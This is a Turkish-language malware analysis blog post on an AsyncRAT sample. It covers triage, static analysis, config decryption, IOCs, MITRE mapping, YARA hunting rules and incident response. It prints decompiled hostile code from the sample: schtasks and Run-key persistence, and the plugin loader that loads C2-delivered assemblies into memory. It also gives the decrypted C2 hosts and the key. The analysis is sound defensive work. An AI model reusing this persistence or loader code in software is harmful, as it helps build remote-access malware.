Gönderi

Tango Scramble 5: AsyncRAT Derinlemesine Analiz

Tango Scramble 5: AsyncRAT Derinlemesine Analiz

Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.

Yönetici Özeti (Executive Summary)

Bu analizde MalwareBazaar üzerinden elde edilen bir AsyncRAT örneği incelenmektedir. Dosya ilk bakışta bir arşiv dosyası gibi gösterilse de, aslında Windows üzerinde çalıştırılabilir bir zararlı yazılımdır.

İncelenen örnek, sisteme yerleştikten sonra saldırganın kontrol sunucusuyla bağlantı kurabilecek ve enfekte makine hakkında temel bilgiler gönderebilecek yapıdadır. İlk çalıştırmada çok agresif bir davranış göstermemesi yanıltıcı olabilir; çünkü AsyncRAT ailesinin temel riski, saldırganın daha sonra sisteme ek modüller göndererek zararlının yeteneklerini genişletebilmesidir.

Analizde öne çıkan bulgular:

  1. Dosya maskeleme: Örnek, kullanıcıyı yanıltmak için arşiv dosyası gibi gösterilmiştir.
  2. AsyncRAT tespiti: Kod yapısı ve bileşenler, örneğin AsyncRAT ailesiyle uyumlu olduğunu göstermektedir.
  3. Kalıcılık: Zararlı, sistem yeniden başlatılsa veya kullanıcı tekrar oturum açsa bile çalışmaya devam edebilecek mekanizmalar kurabilmektedir.
  4. Gizlenmiş ayarlar: C2 adresleri, port bilgileri ve çalışma ayarları doğrudan okunamayacak şekilde gizlenmiştir.
  5. C2 altyapısı: 789betcasinos[.]com ve bolon[.]ru[.]com alan adları ile 6606,7707,8808,443,80,22 portları tespit edilmiştir.
  6. Sonradan yetenek kazanma: Saldırgan, enfekte sisteme daha sonra yeni modüller gönderebilir. Bu modüller zararlının ekran izleme, bilgi toplama, dosya yönetimi veya farklı payload çalıştırma gibi kabiliyetler kazanmasına neden olabilir.
  7. Yüksek risk: Örnek, tek başına basit görünse de kalıcılık, C2 bağlantısı ve sonradan modül yükleme yapısı nedeniyle yüksek riskli değerlendirilmelidir.

Genel Risk Seviyesi: Yüksek

Bu örnek için en kritik nokta, ilk anda görülen davranışın zararlının tüm kapasitesini temsil etmemesidir. Enfekte sistemde kalıcı erişim sağlandıktan sonra saldırgan, ihtiyaç duyduğu yetenekleri sonradan yükleyebilir.


Örnek Bilgileri

AlanDeğer
KaynakMalwareBazaar
SHA256ed0a26904442535518a83879b77cee6e89eea4fa18521be4308d49a6fa290c58
AileAsyncRAT
PlatformWindows
Dil / RuntimeC# / .NET
Analiz AraçlarıHxD, Detect It Easy, dnSpy, ANY.RUN, CAS

Aşama 1: Triyaj

Analiz, MalwareBazaar üzerinden indirilen örneğin laboratuvar ortamında açılmasıyla başlatılmıştır.

MalwareBazaar örneği

Arşivden çıkarılan dosya ilk bakışta ZIP ikonuna sahip bir dosya gibi görünmektedir. Bu, kullanıcıyı dosyanın zararsız bir arşiv olduğuna ikna etmeye yönelik basit ama sık kullanılan bir maskeleme tekniğidir.

ZIP görseliyle maskelenmiş executable

Dosya HxD ile açıldığında MZ başlığı görülmektedir. Bu da dosyanın arşiv değil, doğrudan Windows PE formatında bir executable olduğunu doğrular.

MZ başlığı

Bu noktada saldırganın iki katmanlı bir aldatma uyguladığı görülür:

  • Dosya ikonuyla kullanıcı algısı manipüle ediliyor.
  • Metadata alanları dosyanın gerçek tipini maskelemek için kullanılıyor.

Metadata sahteciliği

Detect It Easy ile yapılan ilk kontrollerde örneğin .NET tabanlı olduğu ve entropy değerinin yüksek seyrettiği görülmektedir.

Detect It Easy ilk çıktı

Entropy görünümü

Yüksek entropy tek başına packer kanıtı değildir; ancak .NET örneklerinde string/config gizleme, resource içine gömülü veri veya paketleyici kullanımına dair güçlü bir triage sinyali olarak değerlendirilmelidir.

Triyajı davranışsal servislerle desteklemek için ANY.RUN raporu da incelenmiştir:

ANY.RUN Task

AsyncRAT, açık kaynak kodlu ve C# ile geliştirilmiş bir Remote Access Trojan ailesidir. Saldırganlara hedef sistem üzerinde uzaktan kontrol, dosya yönetimi, komut çalıştırma, ekran görüntüsü alma, keylogging ve ek zararlı modül yükleme gibi kabiliyetler sağlayabilir.

Açık kaynak malware aileleri savunmacılar için IOC ve imza üretme avantajı sağlasa da, saldırganlar için de hızlı özelleştirme imkanı sunar. AsyncRAT gibi ailelerin asıl tehlikesi gizli olmalarından değil, erişilebilir ve kolay değiştirilebilir olmalarından gelir.

String analizi sırasında AsyncRAT yapısına işaret eden alanlar ve konfigürasyon bileşenleri tespit edilmiştir.

String analizi

Son triage turunda FenrirSoftware tarafından geliştirilen CAS (Close Air Support) sistemi ile örnek tekrar değerlendirilmiştir.

CAS analiz çıktısı

CAS ikinci görünüm


Aşama 2: .NET Statik Analiz

Örnek C# ile yazıldığı için statik analiz dnSpy üzerinden devam ettirilmiştir.

dnSpy görünümü

Assembly yapısı

Dosya açılır açılmaz AsyncRAT client mimarisine ait tipik bileşenler görünür hale gelmektedir. Client, Connection, Helper, Install, Handle_Packet ve MessagePackLib namespace’leri zararlının iletişim, kalıcılık, konfigürasyon ve plugin mekanizmasını modüler şekilde ayırdığını göstermektedir.

HWID Üretimi

AsyncRAT gibi RAT aileleri, C2 panelinde enfekte makineleri ayırt etmek için genellikle HWID benzeri bir değer kullanır. Bu örnekteki değer tam anlamıyla donanım seri numarası toplama davranışı değildir; daha çok makineyi panel tarafında benzersiz göstermek için üretilmiş bir kimlik bilgisidir.

HWID üretimi

Normal şartlarda HWID; CPU, anakart, disk, BIOS veya volume bilgileri gibi donanıma bağlı alanlardan türetilebilir. Buradaki kullanım ise saldırganın victim listesini düzenli tutmasına ve plugin/komut akışını belirli istemcilere yönlendirmesine yardımcı olur.

Bu nedenle ilgili değer, bu örnek özelinde donanım seri numarası toplamaktan ziyade client identifier üretimi olarak değerlendirilmiştir.

ID Paketi ve Sistem Bilgisi

Zararlı sistem üzerinde çalıştıktan sonra C2 tarafına makine hakkında temel bilgiler iletir.

ID gönderim mekanizması

Bu tip paketlerde genellikle şu bilgiler bulunur:

  • HWID veya client ID
  • Kullanıcı adı
  • İşletim sistemi sürümü
  • Çalışma yolu
  • Admin yetkisi
  • Aktif pencere başlığı
  • Yüklü güvenlik yazılımları
  • Client versiyonu

Antivirüs sorgulama mekanizması WMI üzerinden güvenlik yazılımlarını listelemeye çalışmaktadır.

Antivirüs sorgulama

Bu davranış savunma ürünleri açısından oldukça gürültülüdür. WMI ile güvenlik yazılımı listesi çekilmesi, tek başına zararlı kanıtı olmasa da RAT enfeksiyonlarında sık karşılaşılan discovery adımlarından biridir.


Aşama 3: Kalıcılık Mekanizması

Örnekte persistence akışı Client.Install.NormalStartup altında bulunmaktadır. Settings.Install değerinin true olması durumunda client kendisini kalıcı konuma taşıyıp başlangıçta tekrar çalışacak şekilde yapılandırır.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
FileInfo fileInfo = new FileInfo(
    Path.Combine(
        Environment.ExpandEnvironmentVariables(Settings.InstallFolder),
        Settings.InstallFile
    )
);

string fileName = Process.GetCurrentProcess().MainModule.FileName;

if (fileName != fileInfo.FullName)
{
    if (Methods.IsAdmin())
    {
        Process.Start(new ProcessStartInfo
        {
            FileName = "cmd",
            Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn \"" +
                        Path.GetFileNameWithoutExtension(fileInfo.Name) +
                        "\" /tr '\"" + fileInfo.FullName + "\"' & exit",
            WindowStyle = ProcessWindowStyle.Hidden,
            CreateNoWindow = true
        });
    }
    else
    {
        using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(
            Strings.StrReverse("\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS"),
            RegistryKeyPermissionCheck.ReadWriteSubTree))
        {
            registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name),
                                 "\"" + fileInfo.FullName + "\"");
        }
    }
}

Bu kodun davranışı özetle şöyledir:

  1. Hedef kurulum yolu Settings.InstallFolder ve Settings.InstallFile üzerinden oluşturulur.
  2. Çalışan dosya bu hedef konumda değilse kurulum akışı başlatılır.
  3. Aynı hedefte çalışan eski process varsa kapatılır.
  4. Admin yetkisi varsa schtasks /create /sc onlogon /rl highest ile zamanlanmış görev oluşturulur.
  5. Admin yetkisi yoksa HKCU\Software\Microsoft\Windows\CurrentVersion\Run altına autorun değeri yazılır.
  6. Mevcut executable hedef yola kopyalanır.
  7. Geçici bir batch dosyasıyla yeni kopya çalıştırılır ve eski process kapanır.

Registry path’in ters yazılıp Strings.StrReverse() ile runtime’da açılması basit bir obfuscation örneğidir:

1
\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS

Runtime’daki gerçek değer:

1
Software\Microsoft\Windows\CurrentVersion\Run

Bu teknik sofistike değildir; ancak statik string aramalarını ve basit imzaları atlatmak için pratik bir gizleme katmanı sağlar.


Aşama 4: Settings ve Şifreli Konfigürasyon

IOC açısından en değerli alanlar Client/Settings.cs altında bulunmaktadır.

Settings alanları

Encoded config alanları

Konfigürasyon detayları

Konfigürasyonu çözmek için önce key materyali çıkarılmış, ardından Aes256 sınıfındaki algoritma tersine takip edilmiştir.

Decode süreci

Çözülen Konfigürasyon

AlanEncoded / KaynakDecoded DeğerAçıklama
Settings.KeyMjVpMUljV3BHWEJLZjhlZmNGeGpWNm9BQ1VTS0FkYVU=25i1IcWpGXBKf8efcFxjV6oACUSKAdaUAES/HMAC anahtar türetme için master key
Settings.HostsAES ile şifreli blob789betcasinos[.]com,bolon[.]ru[.]comC2 host listesi
Settings.PortsAES ile şifreli blob6606,7707,8808,443,80,22C2 port listesi
Settings.VersionAES ile şifreli blob0.5.7BClient sürümü
Settings.InstallAES ile şifreli blobtruePersistence aktif
Settings.MTXAES ile şifreli blobAsyncMutex_6SI8OkPnkTekil çalışma için mutex
Settings.PastebinAES ile şifreli blobNoneHarici config/paste kaynağı yok
Settings.AntiAES ile şifreli blobNoneBu örnekte anti-analysis flag’i pasif
Settings.BDOSAES ile şifreli blobNoneBDOS/yıkıcı flag pasif
Settings.GroupAES ile şifreli blobNoneGrup değeri tanımlı değil

Şifreleme Şeması

Konfigürasyon şeması şu şekilde çalışmaktadır:

  1. Master key Base64 decode edilir.
  2. PBKDF2 (Rfc2898DeriveBytes) ile sabit salt ve 50000 iterasyon kullanılarak 96 byte türetilir.
  3. İlk 32 byte AES-256 key olarak kullanılır.
  4. Sonraki 64 byte HMAC-SHA256 auth key olarak kullanılır.
  5. Veri formatı şu şekildedir:
1
base64([HMAC-SHA256:32 byte] + [IV:16 byte] + [AES-CBC ciphertext])

Bu tasarım, yalnızca gizleme değil aynı zamanda bütünlük kontrolü de sağlamaktadır. HMAC doğrulaması başarısız olursa config decode edilmez.

Gömülü Sertifika

Örnekte AsyncRAT Server CN değerine sahip bir X.509 sertifikası bulunmaktadır.

AlanDeğer
Subject CNAsyncRAT Server
Issuer CNAsyncRAT Server
SHA1 Fingerprint41:2D:24:5C:B6:93:96:F3:2F:02:3C:43:BF:64:15:91:79:F7:D5:71
SHA256 Fingerprint90:7A:9A:F5:3F:94:F5:1D:16:33:21:7D:7F:5D:C1:31:77:C7:8E:48:BF:87:3A:14:2B:8F:F2:5D:FA:1D:64:9A

Serversignature değeri, Settings.Key üzerinden alınan SHA256 hash’in RSA PKCS#1 v1.5 imzası olarak doğrulanmaktadır. Bu sayede client, C2 tarafındaki sertifika ve imza ilişkisinin beklenen yapıda olup olmadığını kontrol eder.


Aşama 5: Plugin ile Yetenek Genişletme

Bu noktaya kadar örneğin doğrudan kamera izleme, ekran kaydı veya keylogger davranışı göstermemesi şaşırtıcı değildir. AsyncRAT’ın temel mimarisi genellikle düşük gürültülü bir client ile başlar; asıl yetenekler C2 tarafından gönderilen plugin’ler aracılığıyla sonradan devreye alınır.

Plugin işleme mantığı Client.Handle_Packet.Packet altında görülmektedir.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
string packetType = msgPack.ForcePathObject("Packet").AsString;

if (packetType == "plugin")
{
    if (SetRegistry.GetValue(msgPack.ForcePathObject("Dll").AsString) == null)
    {
        Packet.Packs.Add(msgPack);
        MsgPack request = new MsgPack();
        request.ForcePathObject("Packet").SetAsString("sendPlugin");
        request.ForcePathObject("Hashes").SetAsString(
            msgPack.ForcePathObject("Dll").AsString
        );
        ClientSocket.Send(request.Encode2Bytes());
    }
    else
    {
        Packet.Invoke(msgPack);
    }
}

if (packetType == "savePlugin")
{
    SetRegistry.SetValue(
        msgPack.ForcePathObject("Hash").AsString,
        msgPack.ForcePathObject("Dll").GetAsBytes()
    );
}

Plugin çalıştırma kısmı daha kritiktir:

1
2
3
4
5
6
object obj = Activator.CreateInstance(
    AppDomain.CurrentDomain
        .Load(Zip.Decompress(SetRegistry.GetValue(
            unpack_msgpack.ForcePathObject("Dll").AsString)))
        .GetType("Plugin.Plugin")
);

Bu akışın anlamı:

  • C2, client’a plugin veya savePlugin tipinde MessagePack paketi gönderir.
  • Client ilgili plugin’in registry altında daha önce kayıtlı olup olmadığını kontrol eder.
  • Plugin yoksa sendPlugin talebiyle C2’den modül ister.
  • savePlugin paketi geldiğinde DLL blob’u HKCU\Software\<HWID> altında REG_BINARY olarak saklanır.
  • Zip.Decompress() ile plugin açılır.
  • AppDomain.CurrentDomain.Load() ile assembly doğrudan belleğe yüklenir.
  • Plugin.Plugin sınıfı instantiate edilir ve Run metodu çağrılır.

Bu yapı, ilk executable’ın tek başına sınırlı görünmesini sağlar. Ancak C2 aktif olduğunda aynı client keylogger, screen capture, credential theft, proxy, lateral movement veya farklı payload indirme gibi kabiliyetleri plugin olarak kazanabilir.

Registry altında binary plugin saklama davranışı özellikle önemlidir. Çünkü bazı güvenlik kontrolleri disk üzerindeki DLL/EXE dosyalarına odaklanırken, bu örnekte modül içeriği registry blob’u olarak tutulabilir ve çalışma anında belleğe alınabilir.


Modül Bazlı Genel Bakış

BileşenRol
Client/Program.csGiriş noktası, başlangıç kontrolleri, mutex, anti-analysis ve C2 döngüsünü başlatır
Client/Settings.csGömülü config alanlarını çözer, sertifika ve imza doğrulamasını yapar
Client/Install/NormalStartup.csPersistence, self-copy ve yeniden başlatma akışını yönetir
Client/Connection/ClientSocket.csTCP/TLS bağlantısı, sertifika pinning, paket gönderme ve alma işlemlerini yürütür
Client/Handle_Packet/Packet.csMessagePack komutlarını işler, plugin kaydetme ve çalıştırma akışını yönetir
Client/Algorithm/Aes256.csPBKDF2, AES-256-CBC ve HMAC-SHA256 tabanlı config şifreleme/çözme mantığını içerir
Client/Helper/HwidGen.csClient kimliği üretir
Client/Helper/Methods.csAdmin kontrolü, AV enumeration, aktif pencere başlığı ve yardımcı işlemler
Client/Helper/MutexControl.csTek instance kontrolü için mutex oluşturur
Client/Helper/SetRegistry.csPlugin blob’larını registry altında saklar, okur ve siler
MessagePackLibC2 protokolünde kullanılan MessagePack encode/decode ve sıkıştırma yardımcılarını içerir

IOC Tablosu

IOC TürüDeğerAçıklama
SHA256ed0a26904442535518a83879b77cee6e89eea4fa18521be4308d49a6fa290c58İncelenen örnek
Domain / C2789betcasinos[.]comÇözülen C2 hostu
Domain / C2bolon[.]ru[.]comAlternatif C2 hostu
Port6606C2 iletişim portu
Port7707C2 iletişim portu
Port8808C2 iletişim portu
Port443Alternatif C2 portu
Port80Alternatif C2 portu
Port22Alternatif C2 portu
MutexAsyncMutex_6SI8OkPnkTekil çalışma kontrolü
Registry Path PatternHKCU\Software\<HWID>Plugin saklama alanı
Registry Value TypeREG_BINARYPlugin blob saklama tipi
Registry PersistenceHKCU\Software\Microsoft\Windows\CurrentVersion\RunKullanıcı seviyesinde autorun
Scheduled Task Persistenceschtasks /create /sc onlogon /rl highestAdmin seviyesinde persistence
Embedded Certificate CNAsyncRAT ServerGömülü TLS sertifikası
SHA1 Fingerprint41:2D:24:5C:B6:93:96:F3:2F:02:3C:43:BF:64:15:91:79:F7:D5:71Gömülü sertifika fingerprint’i
SHA256 Fingerprint90:7A:9A:F5:3F:94:F5:1D:16:33:21:7D:7F:5D:C1:31:77:C7:8E:48:BF:87:3A:14:2B:8F:F2:5D:FA:1D:64:9AGömülü sertifika fingerprint’i
Packet TypepluginPlugin çalıştırma komutu
Packet TypesavePluginPlugin kaydetme komutu
Packet TypesendPluginPlugin talep komutu
Packet TypepongHeartbeat / bağlantı kontrol komutu

C2 sitesi görünümü

C2 altyapı gözlemi

C2 alan adlarından biri sahte kumar sitesi görünümü sergilemektedir. Bu görünüm, alan adının phishing veya yönlendirme zinciri içinde kullanılmış olabileceğini destekler niteliktedir; ancak tek başına ilk enfeksiyon vektörünü kesinleştirmez.


MITRE ATT&CK Eşlemesi

TaktikTeknikTeknik IDGözlemlenen Davranış
PersistenceScheduled Task/Job: Scheduled TaskT1053.005schtasks ile logon sırasında çalışan görev oluşturma
PersistenceRegistry Run Keys / Startup FolderT1547.001HKCU\...\Run altına autorun değeri yazma
Defense EvasionObfuscated Files or InformationT1027Config ve registry path alanlarının gizlenmesi
Defense EvasionDeobfuscate/Decode Files or InformationT1140Base64 ve AES ile gizlenen config’in runtime’da çözülmesi
Defense EvasionModify RegistryT1112Registry üzerinde plugin saklama ve autorun kaydı
Defense EvasionReflective Code LoadingT1620AppDomain.Load(byte[]) ile bellekte assembly yükleme
Defense EvasionVirtualization/Sandbox Evasion: System ChecksT1497.001Sandbox/VM/debugger kontrolleri
DiscoverySystem Information DiscoveryT1082OS, hostname, çalışma yolu ve sistem bilgisi toplama
DiscoveryProcess DiscoveryT1057Çalışan process’lerin enumerate edilmesi
DiscoverySoftware DiscoveryT1518Yüklü yazılımlara ilişkin sorgulama davranışı
DiscoverySoftware Discovery: Security Software DiscoveryT1518.001Antivirüs ve güvenlik yazılımı tespiti
DiscoveryQuery RegistryT1012Registry anahtarlarının okunması
DiscoveryFile and Directory DiscoveryT1083Dosya ve dizin varlığı kontrolleri
DiscoverySystem Owner/User DiscoveryT1033Kullanıcı adı ve oturum bilgisinin toplanması
Command and ControlEncrypted ChannelT1573TLS/SslStream ile şifreli C2 kanalı kurulması
Command and ControlNon-Application Layer ProtocolT1095Özel TCP tabanlı C2 iletişim akışı
Command and ControlIngress Tool TransferT1105C2 üzerinden plugin/modül içeriği alınması

C2 Altyapısına İlişkin Gözlem

C2 bağlantı denemesi gözlemi

Analiz sırasında C2 bağlantısının beklenen zararlı trafiği üretmediği gözlemlenmiştir. Bu durum birkaç senaryoyla açıklanabilir:

  • C2 geçici olarak kapalı olabilir.
  • Host aktif olsa bile ilgili bot ID veya sertifika eşleşmesi bekleniyor olabilir.
  • Zararlı davranışlar yalnızca C2 tarafından gönderilen plugin’ler ile tetikleniyor olabilir.
  • Sunucu tarafı belirli ülke, ASN, sandbox veya analiz ortamlarını filtreliyor olabilir.

Bu nedenle örnek, yalnızca ilk executable davranışına bakılarak düşük riskli kabul edilmemelidir. Plugin mimarisi, C2 tekrar aktif olduğunda davranış yüzeyinin hızla değişebileceğini göstermektedir.


YARA Rules

Aşağıdaki kurallar doğrudan ürün imzası olmaktan ziyade hunting / threat hunting amaçlı hazırlanmıştır. İlk kural bu örneğin şifreli config izlerine odaklanır; ikinci kural AsyncRAT plugin loader mantığını, üçüncü kural persistence ve registry kullanımını hedefler. Dördüncü kural ise örnek özelindeki C2/key değerlerine bağlı kalmadan, AsyncRAT ailesinin .NET + MessagePack + plugin loader + persistence/crypto kombinasyonunu yakalamaya yönelik daha genel bir aile avcılığı kuralıdır. Üretim ortamında kullanılmadan önce kurum içi benign .NET yazılımları üzerinde test edilmelidir.

Sample Config Rule

rule MAL_DOTNET_AsyncRAT_TangoScramble5_Config
{
    meta:
        description = "AsyncRAT Tango Scramble 5 sample config artifacts"
        author = "BinaryBear"
        reference = "Tango Scramble 5 AsyncRAT analysis"
        sha256 = "ed0a26904442535518a83879b77cee6e89eea4fa18521be4308d49a6fa290c58"
        date = "2026-05-19"

    strings:
        $key_b64 = "MjVpMUljV3BHWEJLZjhlZmNGeGpWNm9BQ1VTS0FkYVU=" ascii wide
        $hosts_enc = "99kwGQzuMOWH70WB8a6u9DQ3qSYRH7CulcZF6q+Ed3B4" ascii wide
        $ports_enc = "BXPi98Kpei2n9pLjDOzfyBW8HjgnsRJlGjmvc4AWXBNM" ascii wide
        $install_enc = "FBwWqes1sQyVxzl+G+ZoZeCsQsI1HgTXklWZXVQsudCw" ascii wide
        $mtx_enc = "f67hr8gurjwUZIbYG5QOF2lYq7a4UKNTC5x1cKeDuuTC" ascii wide
        $cert_cn = "AsyncRAT Server" ascii wide

    condition:
        uint16(0) == 0x5A4D and filesize < 10MB and 3 of them
}

Plugin Loader Rule

rule MAL_DOTNET_AsyncRAT_Plugin_Loader_Generic
{
    meta:
        description = "Generic AsyncRAT .NET plugin loader behavior"
        author = "BinaryBear"
        date = "2026-05-19"

    strings:
        $s1 = "savePlugin" ascii wide
        $s2 = "sendPlugin" ascii wide
        $s3 = "Plugin.Plugin" ascii wide
        $s4 = "MessagePackLib" ascii wide
        $s5 = "ForcePathObject" ascii wide
        $s6 = "AppDomain" ascii wide
        $s7 = "CurrentDomain" ascii wide
        $s8 = "Decompress" ascii wide
        $s9 = "SetRegistry" ascii wide
        $s10 = "Received" ascii wide

    condition:
        uint16(0) == 0x5A4D and filesize < 10MB and 6 of ($s*)
}

Persistence Rule

rule MAL_DOTNET_AsyncRAT_Persistence_Registry_Schtasks
{
    meta:
        description = "AsyncRAT-style .NET persistence via schtasks or HKCU Run key"
        author = "BinaryBear"
        date = "2026-05-19"

    strings:
        $run_rev = "\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" ascii wide
        $schtasks = "schtasks /create /f /sc onlogon /rl highest" ascii wide
        $install_class = "NormalStartup" ascii wide
        $client_exit = "ClientOnExit" ascii wide
        $install_folder = "InstallFolder" ascii wide
        $install_file = "InstallFile" ascii wide
        $str_reverse = "StrReverse" ascii wide

    condition:
        uint16(0) == 0x5A4D and filesize < 10MB and 3 of them
}

Family Hunting Rule

rule MAL_DOTNET_AsyncRAT_Family_PluginClient_Hunt
{
    meta:
        description = "AsyncRAT family hunting rule for .NET MessagePack plugin clients"
        author = "BinaryBear"
        date = "2026-05-19"
        scope = "family hunting"
        fp_notes = "Requires .NET metadata plus AsyncRAT-like MessagePack plugin loader and persistence/crypto indicators"

    strings:
        $dotnet = "BSJB" ascii

        $ns1 = "MessagePackLib" ascii wide
        $ns2 = "Client.Handle_Packet" ascii wide
        $ns3 = "Client.Connection" ascii wide
        $ns4 = "Client.Install" ascii wide
        $ns5 = "Client.Helper" ascii wide

        $pkt1 = "savePlugin" ascii wide
        $pkt2 = "sendPlugin" ascii wide
        $pkt3 = "ForcePathObject" ascii wide
        $pkt4 = "Plugin.Plugin" ascii wide
        $pkt5 = "Received" ascii wide
        $pkt6 = "pong" ascii wide

        $load1 = "AppDomain" ascii wide
        $load2 = "CurrentDomain" ascii wide
        $load3 = "Decompress" ascii wide
        $load4 = "Activator" ascii wide
        $load5 = "CreateInstance" ascii wide

        $persist1 = "NormalStartup" ascii wide
        $persist2 = "InstallFolder" ascii wide
        $persist3 = "InstallFile" ascii wide
        $persist4 = "ClientOnExit" ascii wide
        $persist5 = "\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" ascii wide

        $crypto1 = "Rfc2898DeriveBytes" ascii wide
        $crypto2 = "HMACSHA256" ascii wide
        $crypto3 = "AesManaged" ascii wide
        $crypto4 = "AsyncRAT Server" ascii wide

    condition:
        uint16(0) == 0x5A4D and
        filesize < 10MB and
        $dotnet and
        2 of ($ns*) and
        4 of ($pkt*) and
        2 of ($load*) and
        (2 of ($persist*) or 2 of ($crypto*))
}

İlk kural örnek odaklıdır ve false positive ihtimali düşüktür. İkinci, üçüncü ve dördüncü kurallar daha geneldir; bu nedenle alert üretmekten çok geriye dönük avcılık ve örnek kümesi genişletme amacıyla kullanılmalıdır. Dördüncü kural özellikle tek bir IOC’ye yaslanmadığı için yeni AsyncRAT fork’larını yakalama şansını artırır; buna rağmen üretim öncesi benign .NET yazılımları üzerinde mutlaka test edilmelidir.


Yapılacaklar / Müdahale Planı

Bu örneğe ait bir enfeksiyon şüphesinde aşağıdaki adımlar önceliklendirilmelidir:

  1. Host izolasyonu: Şüpheli sistem ağdan izole edilmeli, canlı C2 bağlantısı varsa kesilmelidir.
  2. C2 engelleme: 789betcasinos[.]com ve bolon[.]ru[.]com domainleri ile 6606,7707,8808,443,80,22 port kombinasyonları proxy, firewall, DNS ve EDR seviyesinde avlanmalıdır.
  3. Persistence kontrolü: HKCU\Software\Microsoft\Windows\CurrentVersion\Run altında şüpheli değerler ve schtasks üzerinde logon tetiklemeli görevler incelenmelidir.
  4. Mutex avcılığı: AsyncMutex_6SI8OkPnk mutex’i endpoint telemetry üzerinde aranmalıdır.
  5. Registry plugin avcılığı: HKCU\Software\<HWID> benzeri kullanıcı altı registry path’lerinde REG_BINARY blob’lar kontrol edilmelidir.
  6. Bellek analizi: AppDomain.Load(byte[]), anormal .NET assembly load olayları ve disk karşılığı olmayan managed module davranışları incelenmelidir.
  7. Kimlik bilgisi riski: RAT enfeksiyonu ihtimali nedeniyle ilgili kullanıcının parolaları ve oturum token’ları riskli kabul edilmeli, parola rotasyonu uygulanmalıdır.
  8. EDR/YARA yayılımı: Bu yazıdaki YARA kuralları test ortamında doğrulandıktan sonra avcılık paketlerine eklenmelidir.
  9. Ağ geçmişi incelemesi: DNS, proxy ve firewall loglarında C2 domainleri ve ilgili portlara geçmiş bağlantılar aranmalıdır.
  10. Temizleme kararı: Plugin ile sonradan yetenek kazanabilen RAT vakalarında yalnızca dosya silme yeterli görülmemeli; sistemin yeniden imajlanması değerlendirilmelidir.

Çözüm ve Sertleştirme Önerileri

  • Kullanıcıların dosya uzantılarını görebilmesi için Windows’ta “Hide extensions for known file types” ayarı kapatılmalıdır.
  • E-posta ve web gateway üzerinde arşiv görünümlü executable indirmeleri engellenmelidir.
  • Uygulama kontrolü ile kullanıcı dizinlerinden çalışan imzasız executable’lar sınırlandırılmalıdır.
  • schtasks, Run key değişiklikleri ve kullanıcı profili altına self-copy davranışları için EDR kuralı yazılmalıdır.
  • WMI üzerinden antivirüs enumeration davranışı telemetry seviyesinde izlenmelidir.
  • .NET süreçlerinde disk karşılığı olmayan assembly load davranışları avlanmalıdır.
  • Egress filtering uygulanmalı; istemcilerin rastgele portlardan internet üzerindeki bilinmeyen hostlara çıkışı sınırlandırılmalıdır.
  • Registry altında büyük REG_BINARY değerleri oluşturan kullanıcı süreçleri izlenmelidir.

Sonuç

Bu çalışmada incelenen örnek, AsyncRAT ailesinin klasik ama halen etkili bir kullanımını göstermektedir. Dosya ilk aşamada ZIP ikonuyla kullanıcıyı yanıltmayı hedeflemekte, ardından .NET tabanlı client yapısıyla sisteme yerleşmekte ve C2 tarafından gönderilecek plugin’ler için hazır beklemektedir.

Örneğin en kritik noktası, ilk çalıştırmada tüm zararlı kabiliyetleri göstermemesidir. Kalıcılık, C2 bağlantısı, şifreli konfigürasyon ve registry üzerinden plugin saklama mekanizması bir arada değerlendirildiğinde, bu örnek enfekte sistem üzerinde uzun süreli erişim ve sonradan yetenek genişletme amacı taşıyan yüksek riskli bir RAT olarak değerlendirilmelidir.

Bu gönderi CC BY 4.0 lisansı altındadır.